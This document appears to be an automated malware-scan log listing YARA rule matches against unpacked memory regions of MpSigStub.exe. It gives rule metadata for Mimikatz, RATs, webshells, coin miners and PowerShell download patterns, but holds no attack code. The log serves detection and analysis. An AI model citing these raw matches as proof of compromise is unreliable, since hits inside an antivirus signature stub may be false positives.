        Source: 35.3.MpSigStub.exe.15b1bcea0d6.57.raw.unpack, type: UNPACKEDPEMatched rule: APT_Backdoor_Win_GoRat_Memory author = FireEye, description = Identifies GoRat malware in memory based on strings., reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, md5 = 3b926b5762e13ceec7ac3a61e85c93bb
        Source: 35.3.MpSigStub.exe.15b1bcea0d6.51.raw.unpack, type: UNPACKEDPEMatched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
        Source: 35.3.MpSigStub.exe.15b1bcea0d6.51.raw.unpack, type: UNPACKEDPEMatched rule: APT_Backdoor_Win_GoRat_Memory author = FireEye, description = Identifies GoRat malware in memory based on strings., reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, md5 = 3b926b5762e13ceec7ac3a61e85c93bb
        Source: 35.3.MpSigStub.exe.15b1b59d455.149.raw.unpack, type: UNPACKEDPEMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 35.3.MpSigStub.exe.15b1b59d455.149.raw.unpack, type: UNPACKEDPEMatched rule: Typical_Malware_String_Transforms date = 2016-07-31, author = Florian Roth, description = Detects typical strings in a reversed or otherwise modified form, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1aac7d52.155.raw.unpack, type: UNPACKEDPEMatched rule: SUSP_Microsoft_7z_SFX_Combo date = 2018-09-16, hash1 = cce63f209ee4efb4f0419fb4bbb32326392b5ef85cfba80b5b42b861637f1ff1, author = Florian Roth, description = Detects a suspicious file that has a Microsoft copyright and is a 7z SFX, reference = Internal Research
        Source: 35.3.MpSigStub.exe.15b1b9ca5ba.42.raw.unpack, type: UNPACKEDPEMatched rule: IMPLANT_4_v5 date = 2017-02-10, author = US CERT, description = BlackEnergy / Voodoo Bear Implant by APT28, reference = https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE, score =
        Source: 35.3.MpSigStub.exe.15b1b9ca5ba.42.raw.unpack, type: UNPACKEDPEMatched rule: Derusbi_Kernel_Driver_WD_UDFS date = 2015-12-15, hash4 = e27fb16dce7fff714f4b05f2cef53e1919a34d7ec0e595f2eaa155861a213e59, hash3 = 6cdb65dbfb2c236b6d149fd9836cb484d0608ea082cf5bd88edde31ad11a0d58, hash2 = 50174311e524b97ea5cb4f3ea571dd477d1f0eee06cd3ed73af39a15f3e6484a, author = Florian Roth, description = Detects Derusbi Kernel Driver, reference = http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 1b449121300b0188ff9f6a8c399fb818d0cf53fd36cf012e6908a2665a27f016
        Source: 35.3.MpSigStub.exe.15b1b9ca5ba.42.raw.unpack, type: UNPACKEDPEMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
        Source: 35.3.MpSigStub.exe.15b1c05a7fa.78.unpack, type: UNPACKEDPEMatched rule: SUSP_Modified_SystemExeFileName_in_File date = 2018-12-11, hash2 = f1f11830b60e6530b680291509ddd9b5a1e5f425550444ec964a08f5f0c1a44e, author = Florian Roth, description = Detecst a variant of a system file name often used by attackers to cloak their activity, reference = https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group, score = 5723f425e0c55c22c6b8bb74afb6b506943012c33b9ec1c928a71307a8c5889a
        Source: 35.3.MpSigStub.exe.15b1c47d182.111.raw.unpack, type: UNPACKEDPEMatched rule: Mimikatz_Strings date = 2016-06-08, author = Florian Roth, description = Detects Mimikatz strings, reference = not set, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1c47d182.111.raw.unpack, type: UNPACKEDPEMatched rule: webshell_asp_generic_eval_on_input date = 2021/01/07, author = Arnim Rupp, description = Generic ASP webshell which uses any eval/exec function directly on user input, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 069ea990d32fc980939fffdf1aed77384bf7806bc57c0a7faaff33bd1a3447f6
        Source: 35.3.MpSigStub.exe.15b1c47d182.111.raw.unpack, type: UNPACKEDPEMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 35.3.MpSigStub.exe.15b1aab7177.152.unpack, type: UNPACKEDPEMatched rule: SUSP_Microsoft_7z_SFX_Combo date = 2018-09-16, hash1 = cce63f209ee4efb4f0419fb4bbb32326392b5ef85cfba80b5b42b861637f1ff1, author = Florian Roth, description = Detects a suspicious file that has a Microsoft copyright and is a 7z SFX, reference = Internal Research
        Source: 35.3.MpSigStub.exe.15b1aab7177.152.unpack, type: UNPACKEDPEMatched rule: korlia author = Nick Hoffman, reference = http://www.morphick.com/resources/lab-blog/curious-korlia, company = Morphick, information = korlia malware found in apt dump
        Source: 35.3.MpSigStub.exe.15b1b013bb2.54.unpack, type: UNPACKEDPEMatched rule: IMPLANT_4_v5 date = 2017-02-10, author = US CERT, description = BlackEnergy / Voodoo Bear Implant by APT28, reference = https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE, score =
        Source: 35.3.MpSigStub.exe.15b1b013bb2.54.unpack, type: UNPACKEDPEMatched rule: Destructive_Ransomware_Gen1 date = 2018-02-12, hash1 = ae9a4e244a9b3c77d489dee8aeaf35a7c3ba31b210e76d81ef2e91790f052c85, author = Florian Roth, description = Detects destructive malware, reference = http://blog.talosintelligence.com/2018/02/olympic-destroyer.html, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1c2d858a.187.raw.unpack, type: UNPACKEDPEMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 35.3.MpSigStub.exe.15b1aac714e.153.raw.unpack, type: UNPACKEDPEMatched rule: SUSP_Microsoft_7z_SFX_Combo date = 2018-09-16, hash1 = cce63f209ee4efb4f0419fb4bbb32326392b5ef85cfba80b5b42b861637f1ff1, author = Florian Roth, description = Detects a suspicious file that has a Microsoft copyright and is a 7z SFX, reference = Internal Research
        Source: 35.3.MpSigStub.exe.15b1a80e0b6.17.raw.unpack, type: UNPACKEDPEMatched rule: Hacktool_Strings_p0wnedShell date = 2017-01-14, hash1 = e1f35310192416cd79e60dba0521fc6eb107f3e65741c344832c46e9b4085e60, author = Florian Roth, description = p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedShell.cs, reference = https://github.com/Cn33liz/p0wnedShell, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1a80e0b6.17.raw.unpack, type: UNPACKEDPEMatched rule: Suspicious_PowerShell_WebDownload_1 date = 2017-02-22, author = Florian Roth, description = Detects suspicious PowerShell code that downloads from web sites, type = file, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = Internal Research
        Source: 35.3.MpSigStub.exe.15b1a80e0b6.17.raw.unpack, type: UNPACKEDPEMatched rule: Mimikatz_Memory_Rule_1 date = 12/22/2014, author = Florian Roth, description = Detects password dumper mimikatz in memory (False Positives: an service that could have copied a Mimikatz executable, AV signatures), license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = memory
        Source: 35.3.MpSigStub.exe.15b1bf7bf4d.37.raw.unpack, type: UNPACKEDPEMatched rule: TA17_293A_malware_1 date = 2017/07/17, hash5 = 038A97B4E2F37F34B255F0643E49FC9D, hash4 = 04738CA02F59A5CD394998A99FCD9613, hash3 = 8943E71A8C73B5E343AA9D2E19002373, hash2 = BA756DD64C1147515BA2298B6A760260, hash1 = A07AA521E7CAFB360294E56969EDA5D6, hash0 = 61C909D2F625223DB2FB858BBDF42A76, author = US-CERT Code Analysis Team (modified by Florian Roth), description = inveigh pen testing tools & related artifacts, hash10 = 4595DBE00A538DF127E0079294C87DA0, hash9 = 722154A36F32BA10E98020A8AD758A7A, hash8 = 5DBEF7BDDAF50624E840CCBCE2816594, hash7 = AA905A3508D9309A93AD5C0EC26EBC9B, hash6 = 65A1A73253F04354886F375B59550B46, reference = https://www.us-cert.gov/ncas/alerts/TA17-293A
        Source: 35.3.MpSigStub.exe.15b1b59e859.122.raw.unpack, type: UNPACKEDPEMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 35.3.MpSigStub.exe.15b1b59e859.122.raw.unpack, type: UNPACKEDPEMatched rule: Typical_Malware_String_Transforms date = 2016-07-31, author = Florian Roth, description = Detects typical strings in a reversed or otherwise modified form, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1a7b1586.200.raw.unpack, type: UNPACKEDPEMatched rule: APT_apt_duqu2_loaders copyright = Kaspersky Lab, description = Rule to detect Duqu 2.0 samples, version = 1.0, last_modified = 2015-06-09
        Source: 35.3.MpSigStub.exe.15b1a7b1586.200.raw.unpack, type: UNPACKEDPEMatched rule: Oilrig_IntelSecurityManager date = 2018-01-19, author = Eyal Sela, description = Detects OilRig malware, reference = Internal Research
        Source: 35.3.MpSigStub.exe.15b1a7b1586.200.raw.unpack, type: UNPACKEDPEMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 35.3.MpSigStub.exe.15b1a7b1586.200.raw.unpack, type: UNPACKEDPEMatched rule: apt_duqu2_loaders copyright = Kaspersky Lab, description = Rule to detect Duqu 2.0 samples, version = 1.0, last_modified = 2015-06-09
        Source: 35.3.MpSigStub.exe.15b1ad1f44c.63.raw.unpack, type: UNPACKEDPEMatched rule: clearlog date = 2017-06-02, hash1 = 14093ce6d0fe8ab60963771f48937c669103842a0400b8d97f829b33c420f7e3, author = Florian Roth, description = Detects Fireball malware - file clearlog.dll, reference = https://goo.gl/4pTkGQ, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1b785121.89.raw.unpack, type: UNPACKEDPEMatched rule: HackTool_Samples description = Hacktool, score =
        Source: 35.3.MpSigStub.exe.15b1b9c97b6.41.raw.unpack, type: UNPACKEDPEMatched rule: IMPLANT_4_v5 date = 2017-02-10, author = US CERT, description = BlackEnergy / Voodoo Bear Implant by APT28, reference = https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE, score =
        Source: 35.3.MpSigStub.exe.15b1b9c97b6.41.raw.unpack, type: UNPACKEDPEMatched rule: Derusbi_Kernel_Driver_WD_UDFS date = 2015-12-15, hash4 = e27fb16dce7fff714f4b05f2cef53e1919a34d7ec0e595f2eaa155861a213e59, hash3 = 6cdb65dbfb2c236b6d149fd9836cb484d0608ea082cf5bd88edde31ad11a0d58, hash2 = 50174311e524b97ea5cb4f3ea571dd477d1f0eee06cd3ed73af39a15f3e6484a, author = Florian Roth, description = Detects Derusbi Kernel Driver, reference = http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 1b449121300b0188ff9f6a8c399fb818d0cf53fd36cf012e6908a2665a27f016
        Source: 35.3.MpSigStub.exe.15b1b9c97b6.41.raw.unpack, type: UNPACKEDPEMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
        Source: 35.3.MpSigStub.exe.15b1bbe6ede.15.unpack, type: UNPACKEDPEMatched rule: MiniRAT_Gen_1 date = 2018-01-22, hash5 = 675c3d96070dc9a0e437f3e1b653b90dbc6700b0ec57379d4139e65f7d2799cd, hash4 = ed97719c008422925ae21ff34448a8c35ee270a428b0478e24669396761d0790, hash3 = ba4e063472a2559b4baa82d5272304a1cdae6968145c5ef221295c90e88458e2, hash2 = b6ac374f79860ae99736aaa190cce5922a969ab060d7ae367dbfa094bfe4777d, hash1 = 091ae8d5649c4e040d25550f2cdf7f1ddfc9c698e672318eb1ab6303aa1cf85b, author = Florian Roth, description = Detects Mini RAT malware, reference = https://www.eff.org/deeplinks/2018/01/dark-caracal-good-news-and-bad-news, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1bbe6ede.15.unpack, type: UNPACKEDPEMatched rule: malware_sakula_xorloop author = David Cannings, description = XOR loops from Sakula malware, md5 = fc6497fe708dbda9355139721b6181e7
        Source: 35.3.MpSigStub.exe.15b1bbe6ede.15.unpack, type: UNPACKEDPEMatched rule: RAT_Sakula date = 2015-10-13, author = Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou / NCC Group David Cannings, description = Detects Sakula v1.0 RAT, reference = http://blog.airbuscybersecurity.com/public/YFR/sakula_v1x.yara
        Source: 35.3.MpSigStub.exe.15b1bbe6ede.15.unpack, type: UNPACKEDPEMatched rule: HackTool_MSIL_SharpHound_3 author = FireEye, description = The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the \'.csproj\' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SharpHound3 project., reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, md5 = eeedc09570324767a3de8205f66a5295
        Source: 35.3.MpSigStub.exe.15b1bbe6ede.15.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_SharpHound3 date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/BloodHoundAD/SharpHound3, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1bbe6ede.15.unpack, type: UNPACKEDPEMatched rule: Typical_Malware_String_Transforms date = 2016-07-31, author = Florian Roth, description = Detects typical strings in a reversed or otherwise modified form, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1a7cfabd.178.raw.unpack, type: UNPACKEDPEMatched rule: XOR_4byte_Key date = 2015-12-15, author = Florian Roth, description = Detects an executable encrypted with a 4 byte XOR (also used for Derusbi Trojan), reference = http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1b59fe5d.121.raw.unpack, type: UNPACKEDPEMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 35.3.MpSigStub.exe.15b1b59fe5d.121.raw.unpack, type: UNPACKEDPEMatched rule: Typical_Malware_String_Transforms date = 2016-07-31, author = Florian Roth, description = Detects typical strings in a reversed or otherwise modified form, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1af1836e.68.unpack, type: UNPACKEDPEMatched rule: SUSP_PowerShell_IEX_Download_Combo date = 2018-10-04, hash1 = 13297f64a5f4dd9b08922c18ab100d3a3e6fdeab82f60a4653ab975b8ce393d5, author = Florian Roth, description = Detects strings found in sample from CN group repo leak in October 2018, reference = https://twitter.com/JaromirHorejsi/status/1047084277920411648
        Source: 35.3.MpSigStub.exe.15b1af1836e.68.unpack, type: UNPACKEDPEMatched rule: Oilrig_IntelSecurityManager_macro date = 2018-01-19, author = Eyal Sela (slightly modified by Florian Roth), description = Detects OilRig malware, reference = Internal Research
        Source: 35.3.MpSigStub.exe.15b1bcea0d6.215.raw.unpack, type: UNPACKEDPEMatched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
        Source: 35.3.MpSigStub.exe.15b1bcea0d6.215.raw.unpack, type: UNPACKEDPEMatched rule: APT_Backdoor_Win_GoRat_Memory author = FireEye, description = Identifies GoRat malware in memory based on strings., reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, md5 = 3b926b5762e13ceec7ac3a61e85c93bb
        Source: 35.3.MpSigStub.exe.15b1c05a7fa.93.unpack, type: UNPACKEDPEMatched rule: SUSP_Modified_SystemExeFileName_in_File date = 2018-12-11, hash2 = f1f11830b60e6530b680291509ddd9b5a1e5f425550444ec964a08f5f0c1a44e, author = Florian Roth, description = Detecst a variant of a system file name often used by attackers to cloak their activity, reference = https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group, score = 5723f425e0c55c22c6b8bb74afb6b506943012c33b9ec1c928a71307a8c5889a
        Source: 35.3.MpSigStub.exe.15b1b41327e.91.raw.unpack, type: UNPACKEDPEMatched rule: webshell_asp_generic_eval_on_input date = 2021/01/07, author = Arnim Rupp, description = Generic ASP webshell which uses any eval/exec function directly on user input, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 069ea990d32fc980939fffdf1aed77384bf7806bc57c0a7faaff33bd1a3447f6
        Source: 35.3.MpSigStub.exe.15b1c47e986.110.raw.unpack, type: UNPACKEDPEMatched rule: Mimikatz_Strings date = 2016-06-08, author = Florian Roth, description = Detects Mimikatz strings, reference = not set, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1c47e986.110.raw.unpack, type: UNPACKEDPEMatched rule: webshell_asp_generic_eval_on_input date = 2021/01/07, author = Arnim Rupp, description = Generic ASP webshell which uses any eval/exec function directly on user input, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 069ea990d32fc980939fffdf1aed77384bf7806bc57c0a7faaff33bd1a3447f6
        Source: 35.3.MpSigStub.exe.15b1c47e986.110.raw.unpack, type: UNPACKEDPEMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 35.3.MpSigStub.exe.15b1b2d20ac.231.raw.unpack, type: UNPACKEDPEMatched rule: GhostDragon_Gh0stRAT date = 2016-04-23, hash4 = b803381535ac24ce7c8fdcf6155566d208dfca63fd66ec71bbc6754233e251f5, hash3 = 6c7f8ba75889e0021c4616fcbee86ac06cd7f5e1e355e0cbfbbb5110c08bb6df, hash2 = 99ee5b764a5db1cb6b8a4f62605b5536487d9c35a28a23de8f9174659f65bcb2, hash1 = f9a669d22866cd041e2d520c5eb093188962bea8864fdfd0c0abb2b254e9f197, author = Florian Roth, description = Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report, reference = https://blog.cylance.com/the-ghost-dragon, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1b2d20ac.231.raw.unpack, type: UNPACKEDPEMatched rule: Typical_Malware_String_Transforms date = 2016-07-31, author = Florian Roth, description = Detects typical strings in a reversed or otherwise modified form, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1abe8b36.144.unpack, type: UNPACKEDPEMatched rule: dump_tool author = @patrickrolsen, reference = Related to pwdump6 and fgdump tools
        Source: 35.3.MpSigStub.exe.15b1aab4af5.151.unpack, type: UNPACKEDPEMatched rule: SUSP_Microsoft_7z_SFX_Combo date = 2018-09-16, hash1 = cce63f209ee4efb4f0419fb4bbb32326392b5ef85cfba80b5b42b861637f1ff1, author = Florian Roth, description = Detects a suspicious file that has a Microsoft copyright and is a 7z SFX, reference = Internal Research
        Source: 35.3.MpSigStub.exe.15b1aab4af5.151.unpack, type: UNPACKEDPEMatched rule: korlia author = Nick Hoffman, reference = http://www.morphick.com/resources/lab-blog/curious-korlia, company = Morphick, information = korlia malware found in apt dump
        Source: 35.3.MpSigStub.exe.15b1b59e859.108.raw.unpack, type: UNPACKEDPEMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 35.3.MpSigStub.exe.15b1b59e859.108.raw.unpack, type: UNPACKEDPEMatched rule: Typical_Malware_String_Transforms date = 2016-07-31, author = Florian Roth, description = Detects typical strings in a reversed or otherwise modified form, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1b354b6e.95.raw.unpack, type: UNPACKEDPEMatched rule: HackTool_MSIL_SharPersist_2 author = FireEye, reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, md5 = 98ecf58d48a3eae43899b45cec0fc6b7
        Source: 35.3.MpSigStub.exe.15b1bf2fb91.170.raw.unpack, type: UNPACKEDPEMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 35.3.MpSigStub.exe.15b1bf2fb91.55.raw.unpack, type: UNPACKEDPEMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 35.3.MpSigStub.exe.15b1bb551ee.102.raw.unpack, type: UNPACKEDPEMatched rule: APT_DNSpionage_Karkoff_Malware_Apr19_1 date = 2019-04-24, hash4 = cd4b9d0f2d1c0468750855f0ed352c1ed6d4f512d66e0e44ce308688235295b5, hash3 = 5b102bf4d997688268bab45336cead7cdf188eb0d6355764e53b4f62e1cdf30c, hash2 = b017b9fc2484ce0a5629ff1fed15bca9f62f942eafbb74da6a40f40337187b04, hash1 = 6a251ed6a2c6a0a2be11f2a945ec68c814d27e2b6ef445f4b2c7a779620baa11, author = Florian Roth, description = Detects DNSpionage Karkoff malware, reference = https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html
        Source: 35.3.MpSigStub.exe.15b1bb551ee.102.raw.unpack, type: UNPACKEDPEMatched rule: DeepPanda_htran_exe date = 2015/02/08, author = Florian Roth, description = Hack Deep Panda - htran-exe, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 38e21f0b87b3052b536408fdf59185f8b3d210b9
        Source: 35.3.MpSigStub.exe.15b1bb551ee.102.raw.unpack, type: UNPACKEDPEMatched rule: SUSP_DropperBackdoor_Keywords date = 2019-04-24, hash1 = cd4b9d0f2d1c0468750855f0ed352c1ed6d4f512d66e0e44ce308688235295b5, author = Florian Roth, description = Detects suspicious keywords that indicate a backdoor, reference = https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html
        Source: 35.3.MpSigStub.exe.15b1bb551ee.102.raw.unpack, type: UNPACKEDPEMatched rule: APT_APT41_POISONPLUG date = 2019-08-07, hash4 = 3e6c4e97cc09d0432fbbbf3f3e424d4aa967d3073b6002305cd6573c47f0341f, hash3 = f4d57acde4bc546a10cd199c70cdad09f576fdfe66a36b08a00c19ff6ae19661, hash2 = 5d971ed3947597fbb7e51d806647b37d64d9fe915b35c7c9eaf79a37b82dab90, author = Florian Roth, description = Detects APT41 malware POISONPLUG, reference = https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html, score = 2eea29d83f485897e2bac9501ef000cc266ffe10019d8c529555a3435ac4aabd
        Source: 35.3.MpSigStub.exe.15b1bb551ee.102.raw.unpack, type: UNPACKEDPEMatched rule: APT_MAL_HOPLIGHT_NK_HiddenCobra_Apr19_3 date = 2019-04-13, hash3 = ddea408e178f0412ae78ff5d5adf2439251f68cad4fd853ee466a3c74649642d, hash2 = 05feed9762bc46b47a7dc5c469add9f163c16df4ddaafe81983a628da5714461, hash1 = 2151c1977b4555a1761c12f151969f8e853e26c396fa1a7b74ccbaf3a48f4525, author = Florian Roth, description = Detects HOPLIGHT malware used by HiddenCobra APT group, reference = https://www.us-cert.gov/ncas/analysis-reports/AR19-100A
        Source: 35.3.MpSigStub.exe.15b1b4cce16.210.unpack, type: UNPACKEDPEMatched rule: hacktool_macos_keylogger_logkext author = @mimeframe, description = LogKext is an open source keylogger for Mac OS X, a product of FSB software., reference = https://github.com/SlEePlEs5/logKext
        Source: 35.3.MpSigStub.exe.15b1b4cce16.210.unpack, type: UNPACKEDPEMatched rule: Mimikatz_Strings date = 2016-06-08, author = Florian Roth, description = Detects Mimikatz strings, reference = not set, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1b4cce16.210.unpack, type: UNPACKEDPEMatched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file
        Source: 35.3.MpSigStub.exe.15b1b4cce16.210.unpack, type: UNPACKEDPEMatched rule: Typical_Malware_String_Transforms date = 2016-07-31, author = Florian Roth, description = Detects typical strings in a reversed or otherwise modified form, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1b59fe5d.150.raw.unpack, type: UNPACKEDPEMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 35.3.MpSigStub.exe.15b1b59fe5d.150.raw.unpack, type: UNPACKEDPEMatched rule: Typical_Malware_String_Transforms date = 2016-07-31, author = Florian Roth, description = Detects typical strings in a reversed or otherwise modified form, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 35.3.MpSigStub.exe.15b1aac654a.154.raw.unpack, type: UNPACKEDPEMatched rule: SUSP_Microsoft_7z_SFX_Combo date = 2018-09-16, hash1 = cce63f209ee4efb4f0419fb4bbb32326392b5ef85cfba80b5b42b861637f1ff1, author = Florian Roth, description = Detects a suspicious file that has a Microsoft copyright and is a 7z SFX, reference = Internal Research
        Source: 35.3.MpSigStub.exe.15b1b785a75.90.raw.unpack, type: UNPACKEDPEMatched rule: HackTool_Samples description = Hacktool, score =
        Source: 35.3.MpSigStub.exe.15b1a80f4ba.16.raw.unpack, type: UNPACKEDPEMatched rule: Hacktool_Strings_p0wnedShell date = 2017-01-14, hash1 = e1f35310192416cd79e60dba0521fc6eb107f3e65741c344832c46e9b4085e60, author = Florian Roth, description = p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedShell.cs, reference = https://github.com/Cn33liz/p0wnedShell, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 35.3.MpSigStub.exe.15b1a80f4ba.16.raw.unpack, type: UNPACKEDPEMatched rule: Suspicious_PowerShell_WebDownload_1 date = 2017-02-22, author = Florian Roth, description = Detects suspicious PowerShell code that downloads from web sites, type = file, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = Internal Research
        Source: 35.3.MpSigStub.exe.15b1a80f4ba.16.raw.unpack, type: UNPACKEDPEMatched rule: Mimikatz_Memory_Rule_1 date = 12/22/2014, author = Florian Roth, description = Detects password dumper mimikatz in memory (False Positives: an service that could have copied a Mimikatz executable, AV signatures), license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = memory
